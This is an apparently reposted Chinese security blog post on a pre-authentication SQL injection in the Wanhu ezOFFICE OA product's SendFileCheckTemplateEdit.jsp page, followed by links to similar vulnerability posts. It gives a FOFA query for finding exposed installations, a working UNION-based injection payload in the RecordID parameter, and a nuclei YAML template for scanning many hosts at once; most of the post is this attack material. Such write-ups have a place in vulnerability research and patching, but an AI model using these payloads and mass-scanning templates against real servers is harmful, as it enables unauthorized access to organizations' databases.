首页 > 数据库 >万户OA SendFileCheckTemplateEdit-SQL注入

万户OA SendFileCheckTemplateEdit-SQL注入

时间:2023-10-14 19:01:09浏览次数:42  
标签:2CNULL% 万户 27 NULL OA SQL SendFileCheckTemplateEdit

漏洞简介

万户OA存在SendFileCheckTemplateEdit-SQL注入,该漏洞为前台漏洞

漏洞复现

fofa语法:app="万户ezOFFICE协同管理平台"
登录页面如下:

POC:/defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27admin%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--

/defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1%27%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27admin%27)),NULL,NULL,NULL,NULL,NULL--
在响应包中搜索admin字符的md5加密字符串:21232f297a57a5a743894a0e4a801fc3

nuclei批量yaml文件

id: wanhuOA_SendFileCheckTemplateEdit_sqli
info:
  name: 万户SendFileCheckTemplateEdit-SQL注入
  author: mhb17
  severity: critical
  description: description
  reference:
    - https://
  tags: sqli
requests:
  - raw:
      - |+
        GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27admin%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - '200'
      - type: word
        part: body
        words:
          - "21232f297a57a5a743894a0e4a801fc3"

标签:2CNULL%,万户,27,NULL,OA,SQL,SendFileCheckTemplateEdit
From: https://www.cnblogs.com/pursue-security/p/17764549.html

相关文章

  • 用友NC_download文件读取漏洞
    漏洞简介用友NC的download文件存在任意文件读取漏洞,攻击者可以利用该漏洞读取服务器上的敏感文件。漏洞复现fofa语法:app="用友-UFIDA-NC"POC:/portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jspnuclei批量yaml文件id:yonyouNC_download_filereadinfo:......
  • Mysql SELECT 语句执行过程
    整个SELECT语句查询流程1、客户端/服务端通信协议(Connectors)Mysql客户端/服务端通讯协议是半双工的,这就意味着在任意时刻只能有一端能发送数据,要么是客户端向服务端发送数据,要么是服务端向客户端发送数据,这两个动作不能同时进行,一旦一端开始发送数据,另外一端要完整......
  • MySQL解决查询语句1111 - Invalid use of group function错误
    是因为mysql查询语句的字段当中有聚合函数,where条件中不能用聚合函数的计算值作为查询条件,否则会出现:>1111-Invaliduseofgroupfunction错误。可以使用having解决。补充:这里主要要清楚where和having的作用以及区别:“WHERE” 是一个约束声明,在查询数据库的结果返回之前对......
  • Mysql 体系结构
    网上找的一张 Mysql逻辑架构图整个Mysql逻辑架构大致可以分为网络连接层、数据库服务层、存储引擎层、文件系统层一、网络连接层客户端连接器(MysqlConnectors)是Mysql官方为各种开发语言和平台提供的访问Mysql数据库的驱动程序,它实现了对应语言访问数据库的标准接......
  • 动态SQL
    1介绍什么是动态SQL:动态SQL指的是根据不同的查询条件,生成不同的Sql语句。官网描述:https://mybatis.org/mybatis-3/zh/dynamic-sql.htmlMyBatis的强大特性之一便是它的动态SQL。如果你有使用JDBC或其它类似框架的经验,你就能体会到根据不同条件拼接SQL语句的痛苦。例如拼......
  • SQLite 设置自增列、重置自增列
    SQLite设置自增列、重置自增列创建表设置主键自增CREATETABLE[tCeShi]([ID]INTEGERPRIMARYKEYAUTOINCREMENT,[Name]TEXT(50),[Amount]REAL);插入数据主键位置写成NULLinsertintotCeShivalues(NULL,'商品A',10);或不插入主键insertintotCeShi......
  • Mysql 5.7和Mysql 8到底有哪些差异?一文看懂
    大家好,我是老七,点一点“关注”,将持续更新更多精彩内容!引言MySQL作为最常用的开源关系型数据库管理系统之一,一直在不断发展和改进。随着时间的推移,MySQL也经历了多个版本的演进,每个版本都带来了一系列重要的更新和改进。其中,MySQL5.7和MySQL8是两个备受关注的版本,它们之间存在一些......
  • 数据库SQL实战|牛客网
    查找最晚入职员工的所有信息.描述有一个员工employees表简况如下: 请你查找employees里最晚入职员工的所有信息,以上例子输出如下: 输入:droptableifexists`employees`;CREATETABLE`employees`(`emp_no`int(11)NOTNULL,`birth_date`dateNOTNULL,`first_na......
  • pycharm使用fastapi/uvicorn无法reload的问题
    省流pycharm的问题,建议控制台直接输uvicornmain:app--reload,而不是点击右上角的运行相关issuehttps://github.com/encode/uvicorn/issues/2000https://youtrack.jetbrains.com/issue/PY-60962/os.killpid-signal.CRTLCEVENT-ignored-when-running-python-program-from-Pych......
  • MySQL分组聚合
    --创建hq_kline表deletefromhq_klineCREATETABLEhq_kline(idINTAUTO_INCREMENTPRIMARYKEY,finance_micVARCHAR(16)NOTNULL,prod_codeVARCHAR(64)NOTNULL,trade_dateINTNOTNULL,data_timestampINTNOTNULL,preclose_pxDECI......